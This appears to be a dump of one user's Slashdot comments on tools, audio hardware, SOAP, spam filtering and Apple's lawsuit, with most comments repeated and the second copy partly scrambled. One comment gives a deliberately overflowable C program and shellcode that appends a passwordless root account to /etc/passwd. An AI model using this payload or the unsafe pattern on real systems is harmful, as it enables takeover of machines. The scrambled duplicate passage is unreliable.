Try using BestCrypt from Jetico -- it works on Un*x and Windows. This is a great tool for creating a mountable encryted filesystem (just about every algorithm under the sun is supported, including 3DES and Blowfish).
Also included (which is why this reply is relevant) is the bcwipe utility, which does Department of Defense recommended (5200.28-STD) deletion.
It isn't "free-as-in-speech" but it does have a "free-as-in-beer" evaluation copy.
Actually, no need for compilers. Just interpret every line of code that much faster. Why compile to native code if you can build high-level engines that can do more at run-time than you can at compile-time? This is part of the theory behind virtual machines like the JVM or Microsoft's EE. Their biggest disadvantage is speed -- and you're right, if the trend continues (and it will) then we won't bother (manually) compiling code at all.
But you do need to add type safety and type checking to more interpreted languages. That is the second biggest compile time win after performance. Of course, that is more of a flaw in the languages as they are currently designed, not of the interpreter itself.
I've done (or tried to do) a fair bit of digital sound work using a SoundBlaster Live Platinum card, and, like most musicians using that card, have been very dissapointed by the sound quality. One of the issues is noise generated from interference within the case, and many musicians use external gear for just this reason. The Extigy type card could solve that problem beautifully in theory.
However, I'm wondering that the impact of USB will be on latency. IIRC, the first generation of external cards still used a PCI slot to connect the external gear to the CPU.
For example, their Audigy Platinum card supports ASIO (Audio Stream Input Output) for low-latency access, but I don't see the same thing on the Extigy.
Of course, Extigy doesn't appear to support Firewire (or as Creative calls it, SB1394) on this card either. But it looks like they could make a strong move into the high-end amateur musician market if USB isn't a bottleneck and they add the Audigy-type features to this one. And oddly I didn't notice SoundFont on their feature list...
And before someone else points it out, yes I realize that there is something inherently silly about running Firewire _in_ to an external box connected to the machine via USB.
The cost of using soap means the XML has to use DOM and it has to validate the required nodes.
and:
Anyone working with XML knows that validating DOM structure can be very costly for complex tree structures.
SOAP does not use the DOM. The SOAP DTD can be validated without it. As can any XML DTD.
Yes, the DOM is heavyweight, but it is also totally orthogonal to this problem. Where did you get the idea that SOAP required a DOM, anyway? The spec you reference certainly doesn't say that, and they really don't have anything to do with each other.
Heh. Anyone else notice that at the top of the page it says version "v.911" and the tagline "now more than ever"? Obviously no coincince about the timing of this tool.
After this disgusting display of the worst kind of irresponsible journalism, I can't condone JonKatz writing for Slashdot any longer. I realize that Slashdot is a private organization, and can publish whatever it wants. However, the article "Message from Kabul" was at best exagerated, and at worst an outright fabrication. Katz never responded to the numerous requests on Slashdot for evidence supporting his claims -- this makes me question his journalistic integrity.
Sure, I can just filter his posts. But I am offended that a site like Slashdot would let him get away with this.
Mod me up if you agree (I'm at the cap anyway). Mod me off-topic if you want. Mod me a troll, whatever. This is my first public flame of anyone, anywhere. I'm that disheartened by his apparent dishonestly.
You claim that any being advanced enough to notice our signals would be sufficiently advanced to understand at least some math.
Not necessarily. For example, I can observe frequencies in the range between roughly 2x10^1 Hz to 2-4x10^5 Hz (sound), and 4x10^14 Hz - 7.5x10^14 Hz (visible light).
Please correct me if I'm wrong, but I think SETI is scanning in the 1x10^9 Hz to 1x10^10 Hz range (microwave). This leads me to assume that we are hoping that any alien beings are sending (and presumably listening for) signals in this range.
Would it be a stretch to imagine those alien beings having the ability to directly sense microwaves, similar to our ability to see and hear?
Since even a human child can see without knowing even basic math, perhaps our alien observers would be in the same situation.
I'm going to unabashedly karma whore for a second because Nethack is my favourite game ever. I can't tell you the number of hours I wasted playing this (or other rogue-like games, such as rogue, larn, adom, or omega).
100:1 video compression brings that down to ~90 KB/s.
Very interesting problem, with one more very interesting challenge that hasn't been raised yet:
Because the video is streaming in 24/7, you'd have to build a real-time compression system that could handle the 9MB/s and produce a 100:1 ratio. You could perhaps distribute that across multiple machines/CPUs, or build a custom parallel hardware setup to handle the encoding, but at this scale, the overhead of everything might prevent you from reaching the essential criteria of real-time.
Does anyone know what the hardware requirements are for real-time encoding one 640x480 stream? Now, multiply by 1000.
This is actually frequently done, mind you.
That is exactly why it is called a "root exploit".
I said "in a process executing as a normal user." Unless I'm mistaken, the root exploits occur when the process is executing as root (i.e., suid) and a buffer is forced to overflow and cause the program to run code it didn't indend to (such as the shell code I used in my example). But this is so off topic now, I'm going to get modded to hell.
Well, that and the fact that it was a joke anyway.:) It would be some amazing trick to offerflow a buffer in a process executing as a normal user and get a root shell. I'll leave that one to NT...
int main (int argc, char** argv) {
char buff[100];
printf ("Please enter in your web text: ");
scanf ("%s", buff);
printf ("Your web page: %s\n", buff);
}
$ gcc -o example example.c
$ echo "0123457890123457890123457890123457890123457890123 45789012345789012345789012345789\xeb\x03\x5f\xeb\x 05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30 \xc0\x88\x43\x0b\x31\xc9\x66\xb9\x41\x04\x31\xd2\x 66\xba\xa4\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31 \xc9\xb1\x41\x01\xf9\x31\xd2\xb2\x1f\x31\xc0\xb0\x 04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63 \x2f\x70\x61\x73\x73\x77\x64\x01\x77\x30\x30\x77\x 30\x30\x3a\x3a\x30\x3a\x30\x3a\x77\x30\x77\x30\x77 \x21\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a" |./example
#
When is a palm not a palm?
on
Talking Palm
·
· Score: 2
From the article: "He said that the protoype was based on three decades of work by I.B.M. scientists to create increasingly nimble programming codes for speech systems. Faster and smaller processors also helped, he said, as did a few improvements in hardware, like adding a speaker, a microphone and an additional processor to the Palm." (emphasis mine) And take a look at the picture
Not that this is not a remarkable achievement -- it is, and certainly a precursor to ubiquitous handheld devices with voice recognition -- but it isn't really a Palm. It is a palm-sized device based on the Palm that can talk.
PS: As I spellchecked my post, I realized the NYT wrote "protoype." Go figure.
I wasn't sure what chords the phone tones actually were, so I went to over to howstuffworks and took a look. On page 2 of this article on telephones, it has a great section on the tones.
In particular, I learned that "the dial tone sound is simply a combination of 350 hertz tone and a 440 hertz tone," and "if the number is busy, you hear a busy signal that is made up of a 480 hertz and a 620 hertz tone, with a cycle of 1/2 second on and 1/2 second off" and there is a great chart showing the tone for each button on the keypad. For example, the tone for "1" is a combination of a 1209 Hz tone and a 697 Hz tone.
A little more research turned up this cool frequency to note converter and where I discovered that 1209 Hz is equivalent to D6 plus 50 cents, and 697 is F5 minus 4 cents. So basically the keypad one is an out of tune inversion of the D minor chord. (music majors feel free to Score: -1, Moronic)
Of course, if you were into phreaking then you'd already know all that.
For example, if a collection of friends decide to create an Aqua-like theme and distribute it, what's that to prevent Microsoft from doing the same?
You hit the nail right on the head. That is the real reason Apple has to go after the unpaid developers of free, open source copies of their look and feel. Apple doesn't give two hoots about whether or not a few hundred people running Linux have a desktop reminiscent of Aqua. They don't even care if a few thousand Windows users do. They are trying to protect against the precedent, to prevent Microsoft from copying every good thing they do and using it against them in the market.
It isn't about right or wrong -- and sorry, it isn't about Eric Yang's free clone. It is about Apple defending its IP against a real competitor.
Interesting points to consider though:
Could Apple have negotiated a license with Eric? Legally, they have to defend their copyright each and every time, but that doesn't stop them from signing a deal with Eric. Granted, it would be hard to justify why they would pay good money to their lawyers to draft that agreement (because Eric can't/wouldn't pay for it).
Seeing as Apple is being propped up by Microsoft anyway (the $150M bailout, still bothering writing office and IE for the Mac, etc.) simply to make things look less like a monopoly, would MS have actually wanted to copy Aqua if that would caused some of the remaining niche handful to migrate to XP?
Or is Apple actually being mindful of how Linux is eroding the MacOS/MacOSX marketshare? (It may not be, of course, I'm speculating).
> A spammer could put a few random characters into each message so that all the checksums would be different.
I'm not 100% sure they could -- not without losing the ability to send one mail to a server with multiple recipients. I remember back about 5 years ago when I was at Tripod and we were sending out our weekly newsletter to millions of people, our challenge was personalizing it. It wasn't the computational overhead of processing of the outbound email to include the individual name. It was the fact that we could no longer deliver all the AOL mails, Earthlink mails, etc., to their servers as one mail with a bunch of BCC's.
Maybe spammers don't deal in that volume, or I may be remembering this *entirely* wrong, and you may be perfectly correct.
This may already exist, and if so, please point me to it.
First, I use the SpamBouncer procmail scripts, so I actually don't see that much spam any longer. But SpamBouncer is just a set of pretty good heuristics for scoring mail, and sometimes it is a little over or under-zealous.
Second, I use mutt and it has a keystroke ('S') aliased to move a mail to the =spam folder and delete it from the current folder.
What if hitting 'S' (or pressing the hypothetical "Spam" icon in the Outlook toolbar) went so far as to make a MD5 checksum of the alleged spam and send a packet with that checksum off to a centralized server. The server then keeps a database of each checksum and increments a counter associated with that piece of alleged spam.
Now, when the procmail scripts see incoming mail they can request the value for that checksum from the server. Depending on user configuration, a certain threshold (100, 1000, 10000?) must be reached before agreeing that it spam and proactively moving it.
Upsides to this system: if widely used as directed it would be extremely effective at blocking spam. Relatively private (because you are sending checksums not the actual mail).
Downsides to this system: Someone could vote multiple times to make an email appear to be spam (you could have a second packet that decrements the counter as well that people could use on their "spam" folder, or less effectively, you could restrict it to one vote per IP). There is a central server (you could mitigate this by having hierarchical servers that communicate and synchronize with their parent and children in batches). Plus the first 'n' people still have to see the spam.
Yes, this is a lot of overhead to deal with the intelligent filtering of spam. But if we can reduce the efficacy of sending spam to negligible conversion ratios, then there will no longer be an economic incentive to send spam.
Trust me, I've used them all. I even used to be a program manager at Microsoft (where we had rather integrated groupware, and a *lot* of mail), and nothing else has come close to handling the volume of personal email, work email, mailing lists, etc., that mutt does.
If you haven't tried it, give it a shot. If you have given up on text based email readers because pine doesn't cut it, or GUI clients because eudora and outlook express don't do it for you, then you likely haven't taken the time to realize the potential of mutt.
> A fun game in which players are given PDA's with infrared transmitters, and MP3 copies of five popular songs, chosen randomly out of 100. Each person has to convince others to share copies of their songs, and whoever collects all 100 first, wins the game!
> And remember, sharing is stealing!
Sharing something that doesn't belong to you is stealing.
Try using BestCrypt from Jetico -- it works on Un*x and Windows. This is a great tool for creating a mountable encryted filesystem (just about every algorithm under the sun is supported, including 3DES and Blowfish).
Also included (which is why this reply is relevant) is the bcwipe utility, which does Department of Defense recommended (5200.28-STD) deletion.
It isn't "free-as-in-speech" but it does have a "free-as-in-beer" evaluation copy.
Check out:
http://freshmeat.net/projects/bestcrypt/
and
http://www.jetico.com/linux.html
Actually, no need for compilers. Just interpret every line of code that much faster. Why compile to native code if you can build high-level engines that can do more at run-time than you can at compile-time? This is part of the theory behind virtual machines like the JVM or Microsoft's EE. Their biggest disadvantage is speed -- and you're right, if the trend continues (and it will) then we won't bother (manually) compiling code at all.
But you do need to add type safety and type checking to more interpreted languages. That is the second biggest compile time win after performance. Of course, that is more of a flaw in the languages as they are currently designed, not of the interpreter itself.
Hi,
I've done (or tried to do) a fair bit of digital sound work using a SoundBlaster Live Platinum card, and, like most musicians using that card, have been very dissapointed by the sound quality. One of the issues is noise generated from interference within the case, and many musicians use external gear for just this reason. The Extigy type card could solve that problem beautifully in theory.
However, I'm wondering that the impact of USB will be on latency. IIRC, the first generation of external cards still used a PCI slot to connect the external gear to the CPU.
For example, their Audigy Platinum card supports ASIO (Audio Stream Input Output) for low-latency access, but I don't see the same thing on the Extigy.
Of course, Extigy doesn't appear to support Firewire (or as Creative calls it, SB1394) on this card either. But it looks like they could make a strong move into the high-end amateur musician market if USB isn't a bottleneck and they add the Audigy-type features to this one. And oddly I didn't notice SoundFont on their feature list...
And before someone else points it out, yes I realize that there is something inherently silly about running Firewire _in_ to an external box connected to the machine via USB.
I almost loathe to post the URL because I don't want it to get slashdotted, but one of my favourite online utilities is:
The Net World Map
Just follow that link, type in an IP (defaults to yours), and it does a reasonably good job at locating the address.
Does anyone else have a link to another public service like that?
You wrote:
The cost of using soap means the XML has to use DOM and it has to validate the required nodes.
and:
Anyone working with XML knows that validating DOM structure can be very costly for complex tree structures.
SOAP does not use the DOM. The SOAP DTD can be validated without it. As can any XML DTD.
Yes, the DOM is heavyweight, but it is also totally orthogonal to this problem. Where did you get the idea that SOAP required a DOM, anyway? The spec you reference certainly doesn't say that, and they really don't have anything to do with each other.
I have no moderator points this morning, but that was one of the funniest posts I've ever read. Thank you.
Heh. Anyone else notice that at the top of the page it says version "v.911" and the tagline "now more than ever"? Obviously no coincince about the timing of this tool.
When did it launch originally?
After this disgusting display of the worst kind of irresponsible journalism, I can't condone JonKatz writing for Slashdot any longer. I realize that Slashdot is a private organization, and can publish whatever it wants. However, the article "Message from Kabul" was at best exagerated, and at worst an outright fabrication. Katz never responded to the numerous requests on Slashdot for evidence supporting his claims -- this makes me question his journalistic integrity.
Sure, I can just filter his posts. But I am offended that a site like Slashdot would let him get away with this.
Mod me up if you agree (I'm at the cap anyway). Mod me off-topic if you want. Mod me a troll, whatever. This is my first public flame of anyone, anywhere. I'm that disheartened by his apparent dishonestly.
We'd all love to read it.
[mod this up if you agree -- I'm at the cap anyway, so I'm not KW'ing]
You claim that any being advanced enough to notice our signals would be sufficiently advanced to understand at least some math.
Not necessarily. For example, I can observe frequencies in the range between roughly 2x10^1 Hz to 2-4x10^5 Hz (sound), and 4x10^14 Hz - 7.5x10^14 Hz (visible light).
Please correct me if I'm wrong, but I think SETI is scanning in the 1x10^9 Hz to 1x10^10 Hz range (microwave). This leads me to assume that we are hoping that any alien beings are sending (and presumably listening for) signals in this range.
Would it be a stretch to imagine those alien beings having the ability to directly sense microwaves, similar to our ability to see and hear?
Since even a human child can see without knowing even basic math, perhaps our alien observers would be in the same situation.
Just a thought.
Hi,
I'm going to unabashedly karma whore for a second because Nethack is my favourite game ever. I can't tell you the number of hours I wasted playing this (or other rogue-like games, such as rogue, larn, adom, or omega).
Here are some links to get you all started:
Nethack.org
One of the first and best Nethack pages, from the legenday Boudewijn Waijers
another Nethack homepage
A newer Nethack page
QT Nethack
An impressive graphical Nethack
The google Roguelike directory entry
the classic rec.games.roguelike.nethack
Happy hacking!
For the large number of RedHat 7 users, here are the nightly RPMS (not always updated nightly):
- trunk/Red_Hat_7x_RPMS/
- trunk/
http://ftp.mozilla.org/pub/mozilla/nightly/latest
For everyone else (MacOS, OSX, non-RPM Linux, Win32, source, etc):
http://ftp.mozilla.org/pub/mozilla/nightly/latest
100:1 video compression brings that down to ~90 KB/s.
Very interesting problem, with one more very interesting challenge that hasn't been raised yet:
Because the video is streaming in 24/7, you'd have to build a real-time compression system that could handle the 9MB/s and produce a 100:1 ratio. You could perhaps distribute that across multiple machines/CPUs, or build a custom parallel hardware setup to handle the encoding, but at this scale, the overhead of everything might prevent you from reaching the essential criteria of real-time.
Does anyone know what the hardware requirements are for real-time encoding one 640x480 stream? Now, multiply by 1000.
This is actually frequently done, mind you.
That is exactly why it is called a "root exploit".
I said "in a process executing as a normal user." Unless I'm mistaken, the root exploits occur when the process is executing as root (i.e., suid) and a buffer is forced to overflow and cause the program to run code it didn't indend to (such as the shell code I used in my example). But this is so off topic now, I'm going to get modded to hell.
Well, that and the fact that it was a joke anyway. :) It would be some amazing trick to offerflow a buffer in a process executing as a normal user and get a root shell. I'll leave that one to NT...
$ cat > example.c
3 45789012345789012345789012345789\xeb\x03\x5f\xeb\x 05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30 \xc0\x88\x43\x0b\x31\xc9\x66\xb9\x41\x04\x31\xd2\x 66\xba\xa4\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31 \xc9\xb1\x41\x01\xf9\x31\xd2\xb2\x1f\x31\xc0\xb0\x 04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63 \x2f\x70\x61\x73\x73\x77\x64\x01\x77\x30\x30\x77\x 30\x30\x3a\x3a\x30\x3a\x30\x3a\x77\x30\x77\x30\x77 \x21\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a" | ./example
#include <stdio.h>
int main (int argc, char** argv) {
char buff[100];
printf ("Please enter in your web text: ");
scanf ("%s", buff);
printf ("Your web page: %s\n", buff);
}
$ gcc -o example example.c
$ echo "012345789012345789012345789012345789012345789012
#
From the article: "He said that the protoype was based on three decades of work by I.B.M. scientists to create increasingly nimble programming codes for speech systems. Faster and smaller processors also helped, he said, as did a few improvements in hardware, like adding a speaker, a microphone and an additional processor to the Palm." (emphasis mine) And take a look at the picture
Not that this is not a remarkable achievement -- it is, and certainly a precursor to ubiquitous handheld devices with voice recognition -- but it isn't really a Palm. It is a palm-sized device based on the Palm that can talk.
PS: As I spellchecked my post, I realized the NYT wrote "protoype." Go figure.
I wasn't sure what chords the phone tones actually were, so I went to over to howstuffworks and took a look. On page 2 of this article on telephones, it has a great section on the tones.
In particular, I learned that "the dial tone sound is simply a combination of 350 hertz tone and a 440 hertz tone," and "if the number is busy, you hear a busy signal that is made up of a 480 hertz and a 620 hertz tone, with a cycle of 1/2 second on and 1/2 second off" and there is a great chart showing the tone for each button on the keypad. For example, the tone for "1" is a combination of a 1209 Hz tone and a 697 Hz tone.
A little more research turned up this cool frequency to note converter and where I discovered that 1209 Hz is equivalent to D6 plus 50 cents, and 697 is F5 minus 4 cents. So basically the keypad one is an out of tune inversion of the D minor chord. (music majors feel free to Score: -1, Moronic)
Of course, if you were into phreaking then you'd already know all that.
For example, if a collection of friends decide to create an Aqua-like theme and distribute it, what's that to prevent Microsoft from doing the same?
You hit the nail right on the head. That is the real reason Apple has to go after the unpaid developers of free, open source copies of their look and feel. Apple doesn't give two hoots about whether or not a few hundred people running Linux have a desktop reminiscent of Aqua. They don't even care if a few thousand Windows users do. They are trying to protect against the precedent, to prevent Microsoft from copying every good thing they do and using it against them in the market.
It isn't about right or wrong -- and sorry, it isn't about Eric Yang's free clone. It is about Apple defending its IP against a real competitor.
Interesting points to consider though:
Could Apple have negotiated a license with Eric? Legally, they have to defend their copyright each and every time, but that doesn't stop them from signing a deal with Eric. Granted, it would be hard to justify why they would pay good money to their lawyers to draft that agreement (because Eric can't/wouldn't pay for it).
Seeing as Apple is being propped up by Microsoft anyway (the $150M bailout, still bothering writing office and IE for the Mac, etc.) simply to make things look less like a monopoly, would MS have actually wanted to copy Aqua if that would caused some of the remaining niche handful to migrate to XP?
Or is Apple actually being mindful of how Linux is eroding the MacOS/MacOSX marketshare? (It may not be, of course, I'm speculating).
Emphasis mine.
I, for one, won't run a client that allows a site to profile me in this way.
If I understand this correctly, this technology would require the client to send data to the server about mouse movements, etc, for tracking purposes.
So I could simply elect not to use this type of software, correct?
> A spammer could put a few random characters into each message so that all the checksums would be different.
I'm not 100% sure they could -- not without losing the ability to send one mail to a server with multiple recipients. I remember back about 5 years ago when I was at Tripod and we were sending out our weekly newsletter to millions of people, our challenge was personalizing it. It wasn't the computational overhead of processing of the outbound email to include the individual name. It was the fact that we could no longer deliver all the AOL mails, Earthlink mails, etc., to their servers as one mail with a bunch of BCC's.
Maybe spammers don't deal in that volume, or I may be remembering this *entirely* wrong, and you may be perfectly correct.
This may already exist, and if so, please point me to it.
First, I use the SpamBouncer procmail scripts, so I actually don't see that much spam any longer. But SpamBouncer is just a set of pretty good heuristics for scoring mail, and sometimes it is a little over or under-zealous.
Second, I use mutt and it has a keystroke ('S') aliased to move a mail to the =spam folder and delete it from the current folder.
What if hitting 'S' (or pressing the hypothetical "Spam" icon in the Outlook toolbar) went so far as to make a MD5 checksum of the alleged spam and send a packet with that checksum off to a centralized server. The server then keeps a database of each checksum and increments a counter associated with that piece of alleged spam.
Now, when the procmail scripts see incoming mail they can request the value for that checksum from the server. Depending on user configuration, a certain threshold (100, 1000, 10000?) must be reached before agreeing that it spam and proactively moving it.
Upsides to this system: if widely used as directed it would be extremely effective at blocking spam. Relatively private (because you are sending checksums not the actual mail).
Downsides to this system: Someone could vote multiple times to make an email appear to be spam (you could have a second packet that decrements the counter as well that people could use on their "spam" folder, or less effectively, you could restrict it to one vote per IP). There is a central server (you could mitigate this by having hierarchical servers that communicate and synchronize with their parent and children in batches). Plus the first 'n' people still have to see the spam.
Yes, this is a lot of overhead to deal with the intelligent filtering of spam. But if we can reduce the efficacy of sending spam to negligible conversion ratios, then there will no longer be an economic incentive to send spam.
One word:
mutt
Trust me, I've used them all. I even used to be a program manager at Microsoft (where we had rather integrated groupware, and a *lot* of mail), and nothing else has come close to handling the volume of personal email, work email, mailing lists, etc., that mutt does.
If you haven't tried it, give it a shot. If you have given up on text based email readers because pine doesn't cut it, or GUI clients because eudora and outlook express don't do it for you, then you likely haven't taken the time to realize the potential of mutt.
> A fun game in which players are given PDA's with infrared transmitters, and MP3 copies of five popular songs, chosen randomly out of 100. Each person has to convince others to share copies of their songs, and whoever collects all 100 first, wins the game!
> And remember, sharing is stealing!
Sharing something that doesn't belong to you is stealing.
That's pretty much the definition of stealing.